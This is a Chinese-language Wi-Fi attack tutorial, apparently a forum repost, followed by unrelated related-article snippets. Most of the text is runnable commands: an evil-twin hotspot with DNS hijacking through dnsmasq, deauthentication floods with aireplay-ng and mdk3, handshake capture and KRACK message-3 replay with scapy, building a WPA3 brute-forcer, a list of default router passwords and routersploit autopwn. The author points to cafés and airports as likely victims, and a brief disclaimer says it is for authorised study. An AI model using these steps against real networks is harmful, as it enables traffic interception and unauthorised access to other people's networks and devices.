无线渗透|Wi-Fi渗透思路

对于WPA2 WPA3的一些渗透思路

0x00 进行渗透时需知晓的基础知识

1.WPA2:是WPA的升级版,是针对保护无线网络安全而设计的无线网络保护系统,引入了PSK(预共享密钥模式)秘钥,加强了WPA的不足之处,但是因为使用了PSK,所以只要攻击者知晓目标的PSK秘钥,就能十分轻易加入无线网络。

2.WPA3:是近几年新出现的无线网络安全保护系统,在WPA2的基础上实现了针对字典法暴力密码破解的难度,如果失败次数过多,AP将直接锁定攻击行为,以及取代了PSK使用对等实体验证(SAE)。

3.AP:特指无线网络接入点,就是路由器等设备的广泛称呼。

PS.实现无线网络攻击一般都需要两张或更多网卡,有时候也需要一些社工手段!购买无线网卡强烈建议购买支持802.11ac协议的网卡!!!

0x01 WPA2渗透思路

如果实在嫌跑密码的进度过慢或者没有好的字典,可以试一试wpa2的秘钥重装攻击(KRACK)
PS.本文所用的方法绝大部分没有使用大佬提供的POC,旨为了能够完全细化并理解KRACK攻击的步骤

0x02 秘钥重装攻击复现步骤:

秘钥重装攻击(KRACK):
此攻击针对WPA2协议中创建一个Nonce(一种共享密钥)的四次握手。

0x03 KRACK的原理:

WPA2的标准预期有偶尔发生的Wi-Fi断开连接,并允许使用同样的值重连第三次握手,以做到快速重连和连续性。因为标准不要求在此种重连时使用不同密钥,所以可能出现重放攻击。
攻击者还可以反复重发另一设备的第三次握手来重复操纵或重置WPA2的加密密钥。每次重置都会使用相同的值来加密数据,因此可以看到和匹配有相同数据的块,识别出被加密密钥链的数据块。随着反复的重置暴露越来越多的密钥链,最终整个密钥链将被获知,攻击者将可读取目标在此连接上的所有流量。
WPA2通常用于移动设备至固定接入点或家庭路由器的连接,尽管某些流量本身可能被SSL/TLS等协议加密,但风险仍十分严重。(资料来自百度百科)

1.启动网卡的混杂模式

sudo airmong-ng start <device1>

图片


2.对目标AP进行信息收集
先用

sudo airodump-ng <device1>

3.找到目标AP的BSSID

图片


这是我家中的2.4g无线网络,第一个使用桥接模式桥接了CMCC,因为两个路由器都已经安装了最新的固件把秘钥重装漏洞修复了,所以该次实验不会对我的路由器与设备造成损伤或是成功渗透,但是针对现实中像是咖啡店、机场、图书馆类的场景,路由器的固件很有可能并没有升级到最新版本,所以该攻击可能依然有效

4.锁定目标BSSID后,使用

sudo airodump-ng <device1> --bssid=<target bssid>

5.嗅探该AP中的所有成员

图片


如果没有成员的话可以插拔一下网卡(我才不会因为在复现过程中没看到网卡关闭等了十几分钟这件事说出来)

6.克隆Wi-Fi钓鱼热点
需要伪造一个同名,同mac地址的钓鱼热点
更改网卡mac地址步骤:

sudo ifconfig device2 down
sudo macchaner device2 -m <newmac> //注意,请将这里的newmac更改为目标AP点的mac地址
sudo ifconfig device2 up

伪造热点:

sudo airmong start wlan2 //开启网卡的监听模式
sudo airbase-ng -e <target SSID> -c <channel> <device2> //讲trget SSID更改为目标SSID,并且channel更改成不同的信道
sudo ifconfig at0 up //启动虚拟网关
sudo vi /etc/network/interfaces
------------------------------
//配置虚拟网卡地址参数
auto at0
iface at0 inet static
address 192.168.199.1 //这里最好与目标ap点的管理页面一样
netmask 255.255.255.0
------------------------------
sudo service networking restart //重启网卡服务
ifconfig at0查看at0网卡,如果没有ip地址或者不存在,重试以上步骤,注意!必须先使用airbase-ng创建AP点,at0网卡才会被可用!

配置DHCP:

sudo vi /etc/dhcp/dhcpd.conf
设置子网 掩码 分配地址范围等
在里面添加:
subnet 192.168.199.0 netmask 255.255.255.0{
range 192.168.199.100 192.168.199.150;
option routers 192.168.199.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.178.99; //注意这里的doamin地址需要自己更换
}

图片

 
进入下一配置文件,将at0指定为dhcp请求网卡
sudo vi /etc/default/isc-dhcp-server
将其中的INTERFACESv4=""更改为INTERFACESv4="at0"

图片


sudo service isc-dhcp-server restart //重启dhcp服务

配置dnsmasq

sudo vi /etc/dnsmasq.conf
添加以下内容:
resolv-file=/etc/resolv.conf //设置resolv目录
strict-order
listen-address=192.168.199.113 //这个ip是本机ip,如果只想本地访问可以填写127.0.0.1

address=/baidu.com/192.168.178.99 //注意,这一步很重要,需要在这里设置泛解析
address=/111.com/220.181.38.148

server=8.8.8.8
//设置谷歌dns为首选dns
server=114.114.114.114

sudo vi /etc/resolv.conf
添加nameserver为本机ip地址

图片


重启dnsmasq服务

sudo service dnsmasq restart

设置iptables进行流量转发:

//使用iptables编写规则:
iptables -t nat -A POSTROUTING -s 192.168.199.0/24 -j SNAT --to 192.168.178.99

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
//对eth0进行源nat
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT
//转发能上网的无线网卡流量
iptables -A FORWARD -p tcp --syn -s 192.168.199.0/24 -j TCPMSS --set-mss 1356
iptables-save //保存

克隆Wi-Fi后成功获取到成员进入网络提示信息
 

图片


7.但是我们也不能白等新的冤大头连上我们的热点,所以我们可以对目标AP的成员使用断网攻击使其强制掉线重连
aireplay-ng攻击:

//先对目标AP进行锁定监听并保存抓到的握手包
sudo airodump-ng <device1> --bssid=<target bssid> --channel=<channel> -w <文件保存路径>
//然后打开一个新的命令窗口进行攻击
sudo aireplay-ng -0 0 -a <target AP BSSID> -c <target member MAC> <device1>

mdk3/mdk4攻击:

vi blacklist //创建一个黑名单文件,并且把目标的BSSID填进去
sudo mdk3 <device> d -s 1000 -b blacklist.txt -c <target channel> //执行攻击
//mdk4同理,只需要把mdk3换成mdk4

稍等一会后,所有目标均已离线,2.4gAP网络用户断网连接后一般来说都可以直接获取到握手包。
8.获取四次握手的数据包
当左上角出现:
 

图片


就说明我们拿到了握手包
接着打开wireshak,将上一步的01号数据包到wireshark打开搜索字符串Message
需要找到
 

图片


然后右键选择标记分组
 

图片


之后选择左上角"文件"->导出特定分组->选择仅选中分组
 

图片


保存第三条握手包
9.实行攻击
(因为我这硬件条件实在不允许,就说一下实行攻击 的具体步骤,并且贴出大佬的POC吧)
(1)使用scapy伪造含有CSA(信道切换公告)信标的beacon管理帧,使成员强制连接到钓鱼热点
CSA信息元素:
 

图片


(2)向成员设备发送3号握手包多次,并允许1、2号握手包通过,阻断4号握手包使其强制安装秘钥

在此演示使用scapy发送三号握手包
sudo scapy //打开scapy
 

图片


在wireshark中我们可以看到Message 3 of 4被成功重传
 

图片

图片

攻击完成,攻击者打开wireshark监听,可以发现成员在目标AP内浏览的所有TCP明文

秘钥归0POC项目链接:

https://github.com/vanhoefm/krackattacks-poc-zerokey
KRACK攻击POC实例脚本地址:

https://github.com/vanhoefm/krackattacks-scripts

WPA3攻击思路

因为Dragonblood漏洞组并没有公布相关的攻击方式与POC,所以这一节我们来了解一下我在github上找的一个WPA3在线字典攻击工具----wacker
在使用工具前,我们需要先编译作者自改的wpa_supplicant
首先下载工具


git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker

图片


apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
cd wpa_supplicant-2.8/wpa_supplicant/
cp defconfig_brute_force .config
make -j4
ls -al wpa_supplicant
//执行玩上述步骤以构建wpa_supplicant后,我们就可以正常使用工具了

split.sh是用来为多个网卡进行分配破解工作而进行生成单次列表
使用:sudo ./split.sh <份数> <单词列表>
 

图片


wacker.py是程序本体
使用方法与选项:

 

--wordlist <wordlist> 指定使用的字典
--interface <interface> 指定使用的设备
--bssid <BSSID> 指定目标的BSSID
--ssid <SSID> WPA3的ssid
--freq <freq> AP的频率
--start <START_WORD> 从单词列表中的指定字符开始
--debug 输出debug信息
--wpa2 使用WPA2模式

图片


使用例:

图片

社会工程学/密码泄露手段

俗话说得好,当你不知道的时候建议直接去问,这也同样适用直接询问Wi-Fi密码
还有一种手段那就是直接使用Wi-Fi万能钥匙等这种密码泄漏工具,使用手机自带的生成Wi-Fi二维码功能,再配合扫码就能直接得到密码。

路由器后台渗透思路

在进入无线局域网后,我们可以对无线路由器的后台进行渗透,渗透后台的方法包括但不限于:漏洞、跑包、弱密码,后台密码很大概率会与Wi-Fi密码相同
这里贴出一些常用路由器的默认后台账号密码:

TP_LINK家用路由器:admin-admin
TP_LINK企业级路由器:admin-admin123456或admin-123456admin
Tenda路由器:admin-admin
360路由器:admin-admin
华为路由器:admin-admin
Netcore路由器:guest-guest
小米:没密码
FAST路由器:admin-admin
D-Link路由器:admin-admin
PHICOMM路由器:admin-admin

 

漏洞渗透思路:
谈到对路由器的漏洞攻击手段,不得不提到大名鼎鼎的routersploit
routersploit项目地址:

https://github.com/threat9/routersploit.git
routersploit的安装(kali下):

git clone https://github.com/threat9/routersploit.git
cd routersploit
pip3 install -r requirements.txt

routersploit的使用:

sudo ./rsf.py //开启routersplot
use scanners/autopwn //执行自动扫描模块
show option //查看设置

图片

set target <路由器后台地址>
run //启动扫描

图片


耐心等待扫描结束,如果该漏洞对路由器有效的话,会直接列出来,如果可能对该路由器有用会列出可能有效的漏洞
 

图片


当routersploit无法胜任时,还有一个汇总各大路由器漏洞的网站:http://routerpwn.com/

图片

来源:https://forum.butian.net/share/1819

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!(私聊进群一起学习,共同进步)

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/109602.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

技术栈 业务架构 插件库

大前端 技术栈 业务架构 插件库

yolov5 pt转成nccn_yolov5

一&#xff1a;转换环境准备 python版本为Python 3.8.0&#xff0c;需要安装对应的版本包&#xff0c;torch1.10.0 torchvision0.11.0 torchaudio0.10.0 pip3 install torch1.10.0 torchvision0.11.0 torchaudio0.10.0 -f https://download.pytorch.org/whl/torch_stable.html…

yum 命令

基本语法 yum [选项] [参数] 选项说明 -y 对所有提问都回答“yes” 参数说明 实操 yum list | grep firefox yum -y remove firefox yum -y install firefox

前端打印表格功能+单号生成条形码

第一种打印方法&#xff1a;不需要下载任何插件 浏览器自带打印功能&#xff08;不太推荐&#xff09;&#xff0c;原理是生成新的页面后被打印&#xff0c;当打印完成或者取消打印时&#xff0c;页面需要强制刷新&#xff0c;否则页面无法回显。 //打印功能 print() {var pr…

【EI会议征稿】第三届结构抗震与监测检测国际学术会议(SSRMD 2024)

第三届结构抗震与监测检测国际学术会议&#xff08;SSRMD 2024&#xff09; 2024 3rd International Conference on Structural Seismic Resistance, Monitoring and Detection 随着城市化进程的深入&#xff0c;城市中的建筑越来越多。建筑也逐渐多样化&#xff0c;复杂化。…

项目文章 | CUTTag助力解析水稻白叶枯病菌Sigma因子70 RpoD的致病作用

发表单位&#xff1a;南京农业大学和江苏省农业科学院植物保护研究所 期 刊&#xff1a;Journal of Integrative Agriculture&#xff08;IF:4.8&#xff09; 发表日期&#xff1a;2023年10月18日 2023年南京农业大学和江苏省农业科学院植物保护研究所研究团队在期刊Jo…

postgresql的windows

1. 资源下载&#xff1a; https://www.postgresql.org/download/windows/ 2. 安装 双击&#xff0c;指定D盘目录&#xff0c;接下来默认安装&#xff0c;一直到出现下面的最后一步。一定要去除勾选复选框。 在最后&#xff0c;点击FINISH。 3. 初始化 4. 检查和修改配置 1&am…

倾斜摄影三维模型的顶层合并构建重要性分析

倾斜摄影三维模型的顶层合并构建重要性分析 倾斜摄影超大场景的三维模型的顶层合并对于构建精确、完整且真实的三维模型具有重要的意义和应用价值。本文将从几个方面对其重要性进行浅析。 一、模型完整性与连贯性 倾斜摄影超大场景的三维模型的顶层合并可以将多个倾斜摄影数据…

从0到1之微信小程序快速入门(03)

目录 什么是生命周期函数 WXS脚本 ​编辑 与 JavaScript 不同 纯数据字段 组件生命周期 定义生命周期方法 代码示例 组件所在页面的生命周期 代码示例 插槽 什么是插槽 启用多插槽 ​编辑 定义多插槽 组件通信 组件间通信 监听事件 触发事件 获取组件实例 自…

winodws10系统C盘文件夹目录讲解

背景&#xff1a; 电脑安装系统一段时间后&#xff0c;发现C盘的空间越来越小&#xff0c;于是乎&#xff0c;想了解一下C盘文件目录结构&#xff0c;删除一下非必要的文件&#xff0c;同时增强一些操作系统的知识。 目前我的C盘目录如下&#xff1a; 如果开启显示隐藏文件&…

Ubuntu中使用yum命令出现错误提示:Command ‘yum‘ not found, did you mean:

Ubuntu中使用yum命令出现错误提示:Command ‘yum’ not found, did you mean: command ‘gum’ from snap gum (0.12.0) command ‘num’ from deb quickcal (2.4-1) command ‘yum4’ from deb nextgen-yum4 (4.5.2-6) command ‘uum’ from deb freewnn-jserver (1.1.1~a021…

在CentOS上用yum方式安装MySQL8过程记录

此文参考官方文档一步一步记录安装到正常运行全过程 安装环境&#xff1a;centos7 mysql版本&#xff1a;8.0.35 安装过程主要参考下面两边文章&#xff1a; 1.官方文档 https://dev.mysql.com/doc/refman/8.0/en/linux-installation-yum-repo.html 2.linux yum安装mysql8 安…

Anaconda下载安装以及环境变量的配置

一、下载安装anaconda 可以在官网下载&#xff1a;Anaconda | The World’s Most Popular Data Science Platform 也直接用清华源镜像进行下载&#xff1a;Index of /anaconda/archive/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 按照需要选则自己需要的版本…

如何在十亿级别用户中检查用户名是否存在?

不知道大家有没有留意过&#xff0c;在使用一些app注册的时候&#xff0c;提示你用户名已经被占用了&#xff0c;需要更换一个&#xff0c;这是如何实现的呢&#xff1f;你可能想这不是很简单吗&#xff0c;去数据库里查一下有没有不就行了吗&#xff0c;那么假如用户数量很多&…

损失函数总结(十):TripletMarginLoss、TripletMarginWithDistanceLoss

损失函数总结&#xff08;十&#xff09;&#xff1a;TripletMarginLoss、TripletMarginWithDistanceLoss 1 引言2 损失函数2.1 TripletMarginLoss2.2 TripletMarginWithDistanceLoss 3 总结 1 引言 在前面的文章中已经介绍了介绍了一系列损失函数 (L1Loss、MSELoss、BCELoss、…

SpringBoot集成与应用Neo4j

文章目录 前言集成使用定义实体配置定义Repository查询方法方式一&#xff1a;Query方式二&#xff1a;Cypher语法构建器方式三&#xff1a;Example条件构建器方式四&#xff1a;DSL语法 自定义方法自定义接口继承自定义接口实现自定义接口neo4jTemplateNeo4jClient 自定义抽象…

计算线阵相机 到 拍摄产品之间 摆放距离?(隐含条件:保证图像不变形)

一物体被放置在传送带上&#xff0c;转轴的直径为100mm。已知线阵相机4K7u&#xff08;一行共4096个像素单元&#xff0c;像素单元大小7um&#xff09;&#xff0c;镜头35mm&#xff0c;编码器2000脉冲/圈。保证图像不变形的条件下&#xff0c;计算相机到产品之间 摆放距离&…

matlab中filter帮助文档中“对矩阵行进行滤波”的解释

1、创建向量 % 创建一个由随机输入数据组成的 215 矩阵。 rng("default") %固定随机数种子 x randi(5,2,6) 结果 x 5 1 4 2 5 1 5 5 1 3 5 5 2、定义有理传递函数的分子和分母系数。 b 1; a [1 -0.2]; 3、沿着…

HTML基础总结——速通知识点

一、基础知识点 Web标准构成&#xff1a; HTML页面的固定结构 <html><head><title>网页的标题</title> </head> <body>网页的主体内容 </body> </html>二、语法 2.1注释 在vscode中&#xff1a;将光标置于需要注释的行&a…